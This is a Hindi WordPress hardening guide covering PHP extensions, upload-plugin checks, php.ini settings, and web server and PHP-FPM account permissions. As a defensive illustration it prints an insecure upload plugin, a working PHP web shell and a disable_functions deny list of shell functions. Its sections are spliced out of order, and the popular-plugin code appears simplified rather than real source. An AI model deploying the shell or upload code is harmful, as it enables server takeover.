### 8.2. सुनिश्चित करें कि WordPress के लिए केवल आवश्यक PHP एक्सटेंशन सक्षम हैं
सुनिश्चित करें कि आपकी WordPress साइट के लिए केवल आवश्यक PHP एक्सटेंशन सक्षम हैं।
अनावश्यक एक्सटेंशन आपकी वेबसाइट के हमले की सतह को बढ़ा सकते हैं और WordPress को सुरक्षा कमजोरियों के लिए उजागर कर सकते हैं।
केवल आवश्यक एक्सटेंशन को सक्षम करके, आप संभावित जोखिमों को कम कर सकते हैं और समग्र सुरक्षा में सुधार कर सकते हैं।
एक WordPress साइट को ठीक से काम करने के लिए नीचे आवश्यक हैं। **(सुरक्षा सख्तीकरण उद्देश्यों के लिए कोई सूची नहीं)**
| एक्सटेंशन | विवरण |
|-----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| json | अन्य सर्वरों के साथ संचार और JSON प्रारूप में डेटा प्रसंस्करण के लिए उपयोग किया जाता है। |
| mysqli | डेटाबेस इंटरैक्शन के लिए MySQL से कनेक्ट करता है। |
| curl | दूरस्थ अनुरोध संचालन करता है। |
| dom | टेक्स्ट विजेट सामग्री को मान्य करने और IIS7+ को स्वचालित रूप से कॉन्फ़िगर करने के लिए उपयोग किया जाता है। |
| exif | छवियों में संग्रहीत मेटाडेटा के साथ काम करता है। |
| fileinfo | फ़ाइल अपलोड के माइम प्रकार का पता लगाने के लिए उपयोग किया जाता है। |
| hash | हैशिंग के लिए उपयोग किया जाता है, जिसमें पासवर्ड और अद्यतन पैकेज शामिल हैं। |
| igbinary | मानक PHP सीरियलाइज़र के लिए ड्रॉप-इन प्रतिस्थापन के रूप में प्रदर्शन बढ़ाता है। |
| imagick | मीडिया अपलोड के लिए बेहतर छवि गुणवत्ता प्रदान करता है। विवरण के लिए WP_Image_Editor देखें। स्मार्टर इमेज रीसाइज़िंग (छोटी छवियों के लिए) और PDF थंबनेल समर्थन, जब Ghost Script भी उपलब्ध हो। |
| intl | लोकेल-जागरूक संचालन सक्षम करता है जिसमें फ़ॉर्मेटिंग, लिप्यंतरण, एन्कोडिंग रूपांतरण, कैलेंडर संचालन, अनुरूप कॉलेशन, टेक्स्ट सीमाओं का पता लगाना, और लोकेल पहचानकर्ताओं, टाइमज़ोन और ग्रैफ़ीम के साथ काम करना शामिल है, लेकिन इन्हीं तक सीमित नहीं है। |
| mbstring | UTF8 टेक्स्ट को ठीक से संभालने के लिए उपयोग किया जाता है। |
| openssl | अन्य होस्ट के लिए SSL-आधारित कनेक्शन। |
| pcre | कोड खोजों में पैटर्न मिलान के प्रदर्शन को बढ़ाता है। |
| xml | XML पार्सिंग के लिए उपयोग किया जाता है, जैसे किसी तृतीय-पक्ष साइट से। |
| zip | प्लगइन्स, थीम और WordPress अद्यतन पैकेजों को डीकंप्रेस करने के लिए उपयोग किया जाता है। |
| bc | मनमानी सटीकता गणित के लिए, जो किसी भी आकार और 2147483647 दशमलव अंकों तक की सटीकता वाली संख्याओं का समर्थन करता है। |
| filter | उपयोगकर्ता इनपुट को सुरक्षित रूप से फ़िल्टर करने के लिए उपयोग किया जाता है। |
| image | यदि Imagick स्थापित नहीं है, तो GD ग्राफिक्स लाइब्रेरी का उपयोग छवि हेरफेर के लिए कार्यात्मक रूप से सीमित फ़ॉलबैक के रूप में किया जाता है। |
| iconv | कैरेक्टर सेट के बीच कनवर्ट करने के लिए उपयोग किया जाता है। |
| shmop | Shmop फ़ंक्शनों का एक आसान-से-उपयोग सेट है जो PHP को यूनिक्स साझा मेमोरी सेगमेंट को पढ़ने, लिखने, बनाने और हटाने की अनुमति देता है। |
| simplexml | XML पार्सिंग के लिए उपयोग किया जाता है। |
| sodium | हस्ताक्षरों को मान्य करता है और सुरक्षित रूप से यादृच्छिक बाइट्स प्रदान करता है। |
| xmlreader | XML पार्सिंग के लिए उपयोग किया जाता है। |
| zlib | Gzip संपीड़न और विसंपीड़न। |
आवश्यक एक्सटेंशन यहां पाए जा सकते हैं: [WordPress Hosting Handbook: PHP Extensions](https://make.wordpress.org/hosting/handbook/server-environment/#php-extensions)
**ऑडिट:**
- सत्यापित करें कि आपकी WordPress साइट के लिए केवल आवश्यक PHP एक्सटेंशन सक्षम हैं।
**सुधार:**
- किसी भी अनावश्यक एक्सटेंशन को हटाएं। कभी-कभी, प्लगइन्स के साथ एक्सटेंशन स्थापित होते हैं, जो आपकी साइट के लिए आवश्यक नहीं हो सकते हैं।
- वर्तमान में सक्षम PHP एक्सटेंशन की जांच करने के लिए, आप **php.ini** फ़ाइल की समीक्षा कर सकते हैं या सभी सक्रिय एक्सटेंशन को सूचीबद्ध करने के लिए **phpinfo()** फ़ंक्शन का उपयोग कर सकते हैं।

- कुछ एक्सटेंशन, यदि आवश्यक नहीं हैं, तो संभावित सुरक्षा समस्याओं को रोकने के लिए अक्षम किए जाने चाहिए।
- उदाहरण के लिए, exif, fileinfo, imap, soap, pdo_sqlite और opcache जैसे एक्सटेंशन यदि उचित उपयोग के बिना सक्षम छोड़ दिए जाते हैं तो उनका शोषण किया जा सकता है।
- यदि आप वेब होस्टिंग सेवा का उपयोग कर रहे हैं, तो कई प्रदाता PHP सेटिंग्स को स्विच करने के लिए उपयोग में आसान इंटरफ़ेस प्रदान करते हैं, जिसमें PHP एक्सटेंशन को सक्षम या अक्षम करना शामिल है। इन सुविधाओं का उपयोग करके, आप प्रभावी ढंग से एक्सटेंशन का प्रबंधन कर सकते हैं।
### 8.3. फ़ाइल अपलोड सुविधाओं वाले प्लगइन्स की सुरक्षा सुनिश्चित करें
फ़ाइल अपलोड क्षमताओं वाले प्लगइन्स एक महत्वपूर्ण सुरक्षा जोखिम हो सकते हैं यदि ठीक से सुरक्षित न हों। फ़ाइल अपलोड फ़ंक्शन में कमजोरियां हमलावरों को वेब शेल अपलोड करने की अनुमति दे सकती हैं, जिससे संभावित रूप से पूर्ण सिस्टम से समझौता हो सकता है। इसलिए, यह सुनिश्चित करना महत्वपूर्ण है कि किसी भी फ़ाइल अपलोड कार्यक्षमता में सत्यापन और स्वच्छता तंत्र शामिल हों।
यह क्यों महत्वपूर्ण है?
1. एक्सटेंशन सत्यापन:
- सर्वर को अनुमत प्रकारों की एक श्वेतसूची के विरुद्ध फ़ाइल एक्सटेंशन को मान्य करना चाहिए ताकि दुर्भावनापूर्ण फ़ाइलों के अपलोड को रोका जा सके।
2. MIME प्रकार जाँच:
- फ़ाइल के MIME प्रकार की जाँच की जानी चाहिए ताकि यह सुनिश्चित हो सके कि यह अपेक्षित प्रकार से मेल खाता है, सुरक्षा की एक अतिरिक्त परत जोड़ता है।
3. अपलोड पथ प्रतिबंध:
- सुनिश्चित करें कि कोई उजागर पथ नहीं हैं जो सत्यापन के बिना अपलोड की गई फ़ाइलों तक सीधी पहुंच की अनुमति देते हैं।
फ़ाइल अपलोड कमजोरियां विशेष रूप से खतरनाक हैं क्योंकि वे हमलावरों के लिए निष्पादन योग्य कोड अपलोड करने और मनमानी कमांड चलाने का सीधा रास्ता प्रदान करती हैं। फ़ाइल अपलोड कमजोरियों की पहचान करना और उनका शोषण करना SQL इंजेक्शन जैसी अन्य सुरक्षा खामियों की तुलना में अक्सर आसान होता है।
**ऑडिट:**
- अपनी WordPress साइट पर फ़ाइल अपलोड कार्यक्षमता वाले प्लगइन्स की पहचान करें।
- सत्यापित करें कि ये प्लगइन्स अपलोड की गई फ़ाइलों के लिए उचित सत्यापन जाँच लागू करते हैं, जिसमें एक्सटेंशन और MIME प्रकार सत्यापन शामिल है।
**सुधार:**
- यदि फ़ाइल अपलोड कार्यक्षमता वाले प्लगइन में उचित सत्यापन का अभाव है, तो या तो इसकी सुरक्षा बढ़ाएं या प्लगइन को हटा दें।
- फ़ाइल अपलोड सुविधाओं वाले लोकप्रिय WordPress प्लगइन्स के उदाहरण और वे फ़ाइल सत्यापन को कैसे संभालते हैं, नीचे दिए गए हैं।
**उदाहरण: फ़ाइल अपलोड हैंडलिंग वाले लोकप्रिय WordPress प्लगइन्स**
1. Contact Form 7
- Contact Form 7 WordPress में सबसे व्यापक रूप से उपयोग किए जाने वाले फ़ॉर्म प्लगइन्स में से एक है। इसमें एक्सटेंशन और MIME प्रकार सत्यापन के साथ बुनियादी फ़ाइल अपलोड कार्यक्षमता शामिल है।**Code for Allowed Extensions and MIME Type Check:**
```
function wpcf7_allowed_file_extensions() {
// Default allowed file extensions
$allowed_file_extensions = array(
'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx',
'xls', 'xlsx', 'txt', 'csv', 'rtf', 'html', 'zip'
);
return $allowed_file_extensions;
}
function wpcf7_handle_upload( $file ) {
$allowed_mime_types = wpcf7_allowed_file_extensions();
$file_type = wp_check_filetype( $file['name'] );
// Check if the file type is allowed
if ( ! in_array( $file_type['ext'], $allowed_mime_types ) ) {
return new WP_Error( 'wpcf7_upload_failed', __( 'File type is not allowed.', 'contact-form-7' ) );
}
// Handle the file upload
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
// Check if the upload was successful
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'wpcf7_upload_failed', $upload['error'] );
}
return $upload;
}
```
Contact Form 7 में, `wpcf7_allowed_file_extensions()` फ़ंक्शन अनुमत फ़ाइल एक्सटेंशन की एक सूची लौटाता है, और `wpcf7_handle_upload()` फ़ंक्शन अपलोड के साथ आगे बढ़ने से पहले जाँचता है कि फ़ाइल एक्सटेंशन इस सूची में है या नहीं।
2. WPForms
- WPForms अनुमत फ़ाइल प्रकारों की जाँच करके फ़ाइल अपलोड को संभालता है।
**Example Code for WPForms:**
```
function wpforms_get_file_types() {
// Return an array of allowed file types
return array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );
}
function wpforms_process_file_upload( $file ) {
$allowed_file_types = wpforms_get_file_types();
$file_type = wp_check_filetype( $file['name'] );
if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
return new WP_Error( 'wpforms_upload_failed', __( 'File type is not allowed.', 'wpforms' ) );
}
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'wpforms_upload_failed', $upload['error'] );
}
return $upload;
}
```
3. WooCommerce
- WooCommerce भी अपने अपलोड हैंडलिंग कोड में सीधे अनुमत फ़ाइल एक्सटेंशन को परिभाषित और जाँचता है।
**Example Code for WooCommerce:**
```
function woocommerce_handle_upload( $file ) {
$allowed_file_types = array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );
$file_type = wp_check_filetype( $file['name'] );
if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
return new WP_Error( 'woocommerce_upload_failed', __( 'File type is not allowed.', 'woocommerce' ) );
}
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'woocommerce_upload_failed', $upload['error'] );
}
return $upload;
}
```
**उदाहरण: दुर्भावनापूर्ण फ़ाइल अपलोड प्लगइन**
- एक दुर्भावनापूर्ण प्लगइन शुद्ध दिख सकता है लेकिन सुरक्षा जाँचों को बायपास करने के लिए fileinfo एक्सटेंशन का शोषण करता है:
```
<?php
/*
Plugin Name: Simple Malicious Upload
Description: A plugin with hidden malicious file upload capability.
Version: 1.0
*/
function simple_file_upload_menu() {
add_menu_page('File Upload', 'File Upload', 'manage_options', 'file-upload', 'simple_file_upload_page');
}
add_action('admin_menu', 'simple_file_upload_menu');
function simple_file_upload_page() {
?>
<h1>File Upload</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="uploaded_file" />
<input type="submit" name="upload_file" value="Upload" />
</form>
<?php
if (isset($_POST['upload_file'])) {
simple_handle_file_upload();
}
}
function simple_handle_file_upload() {
if (!empty($_FILES['uploaded_file']['tmp_name'])) {
$file_tmp = $_FILES['uploaded_file']['tmp_name'];
$file_name = basename($_FILES['uploaded_file']['name']);
// Using fileinfo to check MIME type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $file_tmp);
finfo_close($finfo);
// Insecure handling: allows any PHP files to be uploaded
if ($mime_type === 'text/plain' || $mime_type === 'application/x-php') {
$upload_dir = wp_upload_dir();
$upload_file = $upload_dir['path'] . '/' . $file_name;
// Move the uploaded file to the uploads directory
if (move_uploaded_file($file_tmp, $upload_file)) {
echo "File uploaded successfully.";
} else {
echo "File upload failed.";
}
} else {
echo "Invalid file type.";
}
}
}
?>
```
**शोषण की व्याख्या:**
- दुर्भावनापूर्ण प्लगइन PHP फ़ाइलों को अपलोड करने की अनुमति देता है यदि उनका MIME प्रकार `application/x-php.` है।
- एक हमलावर इस कार्यक्षमता का उपयोग करके PHP वेब शेल अपलोड कर सकता है।
- एक बार अपलोड होने के बाद, हमलावर फ़ाइल के URL तक पहुँचता है और मनमानी कमांड निष्पादित करता है।
**उदाहरण: PHP वेब शेल कोड**```
<?php
if (isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
हमले का प्रदर्शन
webshell.php अपलोड करता है।http://yourwordpress.com/wp-content/uploads/webshell.php पर वेब शेल तक पहुँचता है।http://yourwordpress.com/wp-content/uploads/webshell.php?cmd=ls पर जाकर, हमलावर मनमाने कमांड निष्पादित कर सकता है।नोट:
यह सुनिश्चित करना कि PHP फ़ंक्शन और सेटिंग्स उचित रूप से कॉन्फ़िगर की गई हैं, आपकी WordPress साइट की सुरक्षा में काफी वृद्धि कर सकता है। गलत कॉन्फ़िगर की गई सेटिंग्स आपकी साइट को विभिन्न कमजोरियों के लिए उजागर कर सकती हैं, जिनमें रिमोट कोड निष्पादन, सूचना प्रकटीकरण और सत्र अपहरण शामिल हैं। इन फ़ंक्शनों को अक्षम या उचित रूप से कॉन्फ़िगर करके PHP को मजबूत करना महत्वपूर्ण है।
यह क्यों महत्वपूर्ण है?
रिमोट कोड निष्पादन:
allow_url_fopen जैसी सेटिंग्स और exec जैसे फ़ंक्शन रिमोट कोड निष्पादन को सक्षम कर सकते हैं, जिससे संभावित सिस्टम से समझौता हो सकता है।सूचना प्रकटीकरण:
display_errors और expose_php जैसे विकल्प आपके सर्वर सेटअप के बारे में संवेदनशील जानकारी लीक कर सकते हैं, जिससे हमलावरों के लिए कमजोरियों को खोजना आसान हो जाता है।सत्र सुरक्षा:
session.cookie_secure और session.cookie_httponly, सत्र कुकीज़ को क्लाइंट-साइड स्क्रिप्ट के माध्यम से एक्सेस होने या असुरक्षित चैनलों पर प्रसारित होने से बचाती हैं।ऑडिट:
सुधार:
allow_url_fopen:
file_get_contents(), fopen(), include(), और require() जैसे फ़ंक्शन FTP या HTTP पर दूरस्थ स्थानों से डेटा प्राप्त कर सकते हैं।allow_url_fopen की आवश्यकता हो सकती है।; (वैकल्पिक) allow_url_fopen को अक्षम करें, यदि अनावश्यक हो
allow_url_fopen = Off
display_errors:
; PHP त्रुटियों को आपकी WordPress वेबसाइट पर प्रदर्शित न करें
display_errors = Off
expose_php:
; HTTP प्रतिक्रिया हेडर में PHP संस्करण को उजागर करने से रोकें
expose_php = Off
session.cookie_secure
session.cookie_secure:
; सुनिश्चित करें कि सत्र कुकीज़ HTTPS पर भेजी जाएँ
session.cookie_secure = On
session.cookie_httponly
उदाहरण: एक वास्तविक WordPress में अक्षम PHP फ़ंक्शनों की सूची नीचे दी गई है``` system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
### 8.5. सुनिश्चित करें कि वेब सर्वर एक गैर-रूट उपयोगकर्ता के रूप में चलता है - सर्वर एप्लिकेशन के लिए अद्वितीय, विशेषाधिकार रहित उपयोगकर्ता और समूह
अधिकांश मामलों में, वेब सर्वर "www-data" (डेबियन/उबंटू) या "apache" (RHEL/CentOS) जैसे उपयोगकर्ताओं के रूप में चलते हैं।
ये उपयोगकर्ता समर्पित सेवा खाते हैं जिनके पास सर्वर पर कोई विशेष विशेषाधिकार नहीं होते हैं और इनका उपयोग उस उपयोगकर्ता और समूह को निर्दिष्ट करने के लिए किया जाता है जिसे वेब सर्वर वर्कर प्रक्रियाएं ग्रहण करेंगी।
यदि इन उपयोगकर्ताओं के पास सिस्टम विशेषाधिकार हैं या वे रूट के रूप में चल रहे हैं, तो उन्हें बदला जाना चाहिए।
**ऑडिट:**
- वेब सर्वर प्रक्रिया चलाने वाले उपयोगकर्ता को सत्यापित करें। (विशेष रूप से, यह वेब सर्वर वर्कर प्रक्रिया है।)
1. Apache के लिए:
```
# ps -ef | grep httpd
root 2257 1 0 Apr08 ? 00:00:01 /usr/local/apache/bin/httpd -k start
apache 5678 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5679 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5680 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5681 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
```
2. Nginx के लिए:
```
# ps -ef | grep nginx
root 626653 1 0 Apr08 ? 00:00:00 nginx: master process /usr/sbin/nginx
nginx 626654 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626655 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626656 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626657 626653 0 Apr08 ? 00:00:00 nginx: worker process
```
**उपचार:**
- वेब सर्वर को एक गैर-विशेषाधिकार प्राप्त, समर्पित खाते के रूप में चलना चाहिए।
- अधिकांश मामलों में, इन सामान्यतः उपयोग किए जाने वाले खातों में से एक जैसे "www-data", "apache", "nginx", "nobody", या "daemon" का उपयोग किया जाता है।
1. Apache के लिए:
```
# vim /etc/httpd/httpd.conf
..
...
User www-data
Group www-data
..
...
```
2. Nginx के लिए:
```
# vim /etc/nginx/nginx.conf
..
...
user daemon;
```
**नोट:**
- वेब सर्वर के लिए प्रक्रिया उपयोगकर्ताओं के पास शेल लॉगिन विशेषाधिकार नहीं होने चाहिए। ```
# cat /etc/passwd | grep -i www-data
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
WordPress को PHP के साथ बनाया गया है, इसलिए PHP कोड को सही ढंग से निष्पादित करने के लिए एक सही सिस्टम कॉन्फ़िगरेशन आवश्यक है।
WordPress में PHP कोड निष्पादन PHP-FPM, एक FastCGI प्रक्रिया प्रबंधक द्वारा प्रबंधित किया जाता है। PHP-FPM के सुरक्षित संचालन को सुनिश्चित करने के लिए, इसे एक अनधिकृत, समर्पित सेवा खाते के अंतर्गत चलना चाहिए।
आम तौर पर, वेब सर्वर प्रक्रिया खाता और PHP-FPM खाता एक ही खाता पर सेट किए जाते हैं। हालांकि, बेहतर सुरक्षा के लिए, उन्हें अलग-अलग खातों के अंतर्गत चलाना बेहतर है।
यहाँ दो कारण हैं:
प्रक्रियाओं का अलगाव:
न्यूनतम विशेषाधिकार सिद्धांत:
ऑडिट:
root 1234 1 0 12:00 ? 00:00:01 php-fpm: master process (/etc/php-fpm.conf) php-fpm 5678 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5679 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5680 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5681 1234 0 12:00 ? 00:00:00 php-fpm: pool www
**उपचार:**
- PHP-FPM को एक गैर-विशेषाधिकार प्राप्त, समर्पित खाते के रूप में चलना चाहिए।
- अधिकांश मामलों में, उपयोग किया गया खाता "php-fpm" होता है।
**PHP-FPM के लिए प्रक्रिया खाता बदलना:**```
# vim /etc/php-fpm.d/www.conf # Adjust the path based on your PHP version
...
user = php-fpm
group = php-fpm
listen.owner = php-fpm
listen.group = php-fpm
PHP-FPM प्रक्रिया खाते में शेल लॉगिन विशेषाधिकार नहीं होने चाहिए।```
php-fpm❌999:999:PHP-FPM:/run/php:/usr/sbin/nologin
**नोट:**
- PHP-FPM प्रक्रियाओं और वेब सर्वर प्रक्रियाओं के लिए अलग-अलग उपयोगकर्ता खातों का उपयोग करना सुरक्षा की दृष्टि से बेहतर है।
- जब पूछा जाए कि सुरक्षा के लिए कौन सा बेहतर है, तो वे अलग-अलग होने चाहिए। इस संदर्भ में एक ही निष्पादन खाते का उपयोग करने से बचें।
### 8.7. WordPress होम निर्देशिका की सुरक्षित कॉन्फ़िगरेशन सुनिश्चित करें
वेब सर्वर को सुरक्षित रूप से संचालित करने के लिए, WordPress होम निर्देशिका के स्वामित्व और अनुमतियों को उचित रूप से कॉन्फ़िगर करना महत्वपूर्ण है।
अधिकांश मामलों में, WordPress फ़ाइलों और निर्देशिकाओं का स्वामित्व और अनुमतियाँ वेब सर्वर की प्रक्रिया खाते से मेल खाने के लिए सेट की जाती हैं।
यह कॉन्फ़िगरेशन वेब सर्वर को वेबरूट में फ़ाइलों तक पहुँचने और त्रुटियों के बिना संचालित करने की अनुमति देता है।
हालाँकि, यह कॉन्फ़िगरेशन असुरक्षित है।
उदाहरण के लिए, यदि वेब सर्वर प्रक्रिया 'apache' है और वेबरूट निर्देशिका और फ़ाइलें दोनों 'apache' के स्वामित्व में हैं, तो यह गंभीर कमजोरियों का कारण बन सकता है।
हमलावर WordPress होम निर्देशिका में महत्वपूर्ण फ़ाइलों और निर्देशिकाओं तक अनधिकृत पहुँच प्राप्त करने के लिए इन कमजोरियों का शोषण कर सकते हैं।
**सामान्य कमजोरी का उदाहरण:**
- यदि वेब सर्वर प्रक्रिया खाता और होम निर्देशिका (वेबरूट) और फ़ाइलें दोनों 'apache' के स्वामित्व में हैं:
- वेबसाइट में कमजोरियों और सिस्टम तक बाहरी पहुँच (जैसे वेबशेल) के मामले में, हमलावर वेबरूट के भीतर विभिन्न कार्य कर सकते हैं:
1. वेबरूट के भीतर फ़ाइलें या निर्देशिकाएँ बनाना, संशोधित करना या हटाना।
2. वेब एक्सेस लॉग में हेरफेर करना, जिसमें संशोधन, विलोपन या निर्माण शामिल है। (कुछ वातावरणों को छोड़कर)
3. लॉग-इन उपयोगकर्ताओं के सक्रिय सत्र कुकीज़ तक पहुँच प्राप्त कर सकता है। (विशेष रूप से कमजोर वातावरणों में)
इन जोखिमों को कम करने के लिए, WordPress होम निर्देशिका के स्वामित्व और अनुमतियों को ठीक से समायोजित करना महत्वपूर्ण है।
**सुधार:**
- होम निर्देशिका (वेबरूट) और फ़ाइलों के स्वामी को 'root:root' पर सेट करें। (इसे वेब सर्वर प्रक्रिया खाते के समान सेट करने से बचें)
- निर्देशिकाओं और फ़ाइलों के लिए डिफ़ॉल्ट UMASK 022 है। (निर्देशिकाएँ: 755, फ़ाइलें: 644)
- वेब सेवा द्वारा फ़ाइल अपलोड जैसी लेखन पहुँच की आवश्यकता वाली निर्देशिकाओं के लिए, उन निर्देशिकाओं के स्वामी को वेब सर्वर प्रक्रिया खाते पर सेट करें।
**WordPress में सामान्यतः आवश्यक लेखन अनुमतियाँ निर्देशिकाएँ:**```
/wp-content/uploads
/wp-content/cache
/wp-content/wflogs (when using security plugins like Wordfence)
/wp-content/upgrade (used during the WordPress upgrade process)
उपरोक्त सुधारात्मक उपायों के अनुसार होम डायरेक्ट्री के स्वामित्व और अनुमतियों को कॉन्फ़िगर करने के बाद, WordPress होम डायरेक्ट्री का आउटपुट इस प्रकार है:
उदाहरण: WordPress होम डायरेक्ट्री``` drwxr-xr-x 5 root root 4096 May 27 2024 . drwxr-xr-x 3 root root 4096 May 27 2024 .. -rw-r--r-- 1 root root 418 May 27 2024 index.php -rw-r--r-- 1 root root 19935 May 27 2024 license.txt -rw-r--r-- 1 root root 7346 May 27 2024 readme.html -rw-r--r-- 1 root root 7106 May 27 2024 wp-activate.php drwxr-xr-x 9 root root 4096 May 27 2024 wp-admin -rw-r--r-- 1 root root 351 May 27 2024 wp-blog-header.php -rw-r--r-- 1 root root 2328 May 27 2024 wp-comments-post.php -rw-r--r-- 1 root root 4973 May 27 2024 wp-config-sample.php -rw-r--r-- 1 root root 2755 May 27 2024 wp-config.php drwxr-xr-x 8 root root 4096 May 27 2024 wp-content -rw-r--r-- 1 root root 3940 May 27 2024 wp-cron.php drwxr-xr-x 25 root root 12288 May 27 2024 wp-includes -rw-r--r-- 1 root root 2496 May 27 2024 wp-links-opml.php -rw-r--r-- 1 root root 3300 May 27 2024 wp-load.php -rw-r--r-- 1 root root 51556 May 27 2024 wp-login.php -rw-r--r-- 1 root root 8403 May 27 2024 wp-mail.php -rw-r--r-- 1 root root 24568 May 27 2024 wp-settings.php -rw-r--r-- 1 root root 30869 May 27 2024 wp-signup.php -rw-r--r-- 1 root root 4620 May 27 2024 wp-trackback.php -rw-r--r-- 1 root root 3065 May 27 2024 xmlrpc.php
**यदि php-fpm और वेब सर्वर प्रक्रिया खाते अलग-अलग हैं (पृथक अनुमतियाँ)**
यदि वेब सर्वर प्रक्रिया खाता "apache" है और php-fpm प्रक्रिया खाता "php-fpm" है।
WordPress में लिखने की पहुंच की आवश्यकता वाले निर्देशिकाओं की अनुमतियाँ बदलें (जैसे, /wp-content/uploads)।
- स्वामी: php-fpm
- समूह: apache
- निर्देशिका अनुमतियाँ: 775 (यदि आवश्यक हो तो 755)
**फ़ाइल और निर्देशिका संरचना**
आवश्यक निर्देशिकाओं के लिए लिखने की अनुमतियाँ सेट करें ताकि "php-fpm" और "apache" दोनों खाते लिख सकें।```
ex) /service/wordpress/www
├── index.php (root:root, 644)
├── license.txt (root:root, 644)
├── readme.html (root:root, 644)
├── wp-activate.php (root:root, 644)
├── wp-admin/ (root:root, 755)
├── wp-blog-header.php (root:root, 644)
├── wp-comments-post.php (root:root, 644)
├── wp-config-sample.php (root:root, 644)
├── wp-config.php (root:root, 644)
├── wp-content/ (root:root, 755)
│ ├── plugins/ (root:root, 755)
│ ├── themes/ (root:root, 755)
│ ├── uploads/ (php-fpm:apache, 775)
│ │ ├── 2024/ (php-fpm:apache, 775)
│ │ └── ... (php-fpm:apache, 775)
│ └── ... (root:root, 755)
├── wp-cron.php (root:root, 644)
├── wp-includes/ (root:root, 755)
├── wp-links-opml.php (root:root, 644)
├── wp-load.php (root:root, 644)
├── wp-login.php (root:root, 644)
├── wp-mail.php (root:root, 644)
├── wp-settings.php (root:root, 644)
├── wp-signup.php (root:root, 644)
├── wp-trackback.php (root:root, 644)
└── xmlrpc.php (root:root, 644)
सारांश
| no | भूमिका | विवरण | प्रशासनिक कर्मचारी |
|---|
| 1 | व्यवस्थापक | सभी वर्डप्रेस सुविधाओं तक पूर्ण पहुँच है और साइट पर सभी सामग्री का प्रबंधन कर सकता है। | सिस्टम एडमिन |
| 2 | संपादक | अन्य उपयोगकर्ताओं की पोस्ट का प्रबंधन और प्रकाशन कर सकता है, साथ ही सामग्री को संपादित और प्रकाशित कर सकता है। | परिचालन सेवा प्रबंधक, आंतरिक सामग्री योगदानकर्ता |
| 3 | लेखक | अपनी स्वयं की पोस्ट लिख और प्रकाशित कर सकता है, और अपनी स्वयं की पोस्ट को संपादित करने की अनुमति है। | आंतरिक सामग्री योगदानकर्ता |
| 4 | योगदानकर्ता | सामग्री लिख सकता है लेकिन इसे प्रकाशित नहीं कर सकता। पोस्ट की समीक्षा की जाती है और एक व्यवस्थापक द्वारा प्रकाशित किया जाता है। | आंतरिक सामग्री योगदानकर्ता |
| 5 | सदस्य | साइट में लॉग इन कर सकता है और अपनी व्यक्तिगत प्रोफ़ाइल प्रबंधित कर सकता है, लेकिन सामग्री नहीं लिख या संपादित नहीं कर सकता। | आंतरिक सामग्री योगदानकर्ता |
session.cookie_httponly:
; सत्र कुकीज़ को JavaScript के लिए दुर्गम बनाएँ
session.cookie_httponly = On
open_basedir:
; PHP फ़ाइल एक्सेस को निर्दिष्ट निर्देशिका तक सीमित करें
open_basedir = "/path/to/your/web/root"
उदाहरण:
open_basedir = "/var/www/html:/tmp"
यह कॉन्फ़िगरेशन PHP को केवल /var/www/html निर्देशिका और अस्थायी निर्देशिका /tmp के भीतर फ़ाइलों तक पहुँचने की अनुमति देता है।
disable_functions:
; संभावित खतरनाक PHP फ़ंक्शन अक्षम करें
disable_functions = "system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail"
अक्षम किए गए फ़ंक्शनों की व्याख्या:
system, exec, shell_exec, passthru:
mysql_list_dbs:
ini_alter:
dl:
symlink, link:
chgrp:
leak:
popen:
apache_child_terminate:
virtual:
mb_send_mail: